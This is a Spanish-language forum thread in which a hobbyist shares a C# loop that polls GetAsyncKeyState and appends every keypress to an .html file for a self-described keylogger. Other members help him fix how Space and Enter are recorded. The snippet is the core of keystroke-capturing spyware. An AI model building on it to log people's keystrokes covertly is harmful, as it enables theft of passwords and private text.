Ayuda al capturar teclas en ventana sin focus c#

Publicado en 'Programación' por joel094, 26 Mar 2015.





  1. joel094

    joel094 Miembro frecuente

    Registro:
    14 Oct 2012
    Mensajes:
    213
    Likes:
    7




    Buenas noches estoy en estos dias experimentando con el c# y pues estoy haciendo una imitacion del keylooguer el punto es que eh logrado hacerlo pero al precionar la tecla "espacio" aparece Space y al presionar enter aparece Enter o al hacer clic aparece Lbutton o cosas asi nose si me podrian ayudar les dejo mi codigo de captura de teclas

    Código:
      for (Int32 i = 0; i < 255; i++)
                {
                    int keyState = GetAsyncKeyState(i);
                    if (keyState == 1 || keyState == -32767)
                    {
                            string toStringKeys = Convert.ToString((Keys)i);
                            File.AppendAllText(textBox1.Text + fecha + ".html", toStringKeys);
                    }
                }
    easa ultima linea de codigo " File.AppendAllText(textBox1.Text + fecha + ".html", toStringKeys);" es donde estoy guardadno todo lo que se escriba

    [​IMG]
    estsa es una imagen de como se guarda espereare su ayuda gracias
     


  2. gnox

    gnox Miembro maestro

    Registro:
    3 Ene 2013
    Mensajes:
    792
    Likes:
    252
    Código:
    (char)i;
    
     
    A joel094 le gustó este mensaje.
  3. joel094

    joel094 Miembro frecuente

    Registro:
    14 Oct 2012
    Mensajes:
    213
    Likes:
    7
    El terminó de la expresion char no es valido

    me corrijo todo funciona correctamente gracias nuevamnete ayudandome

    me ayudarias interpretar el ENTER porque cuando presiono enter lo interpera como espacio bueno espero gracias por tu ayuda
     
  4. gnox

    gnox Miembro maestro

    Registro:
    3 Ene 2013
    Mensajes:
    792
    Likes:
    252
    Código:
    if (i == 13) {
    ....
    }
    
     
Etiquetas: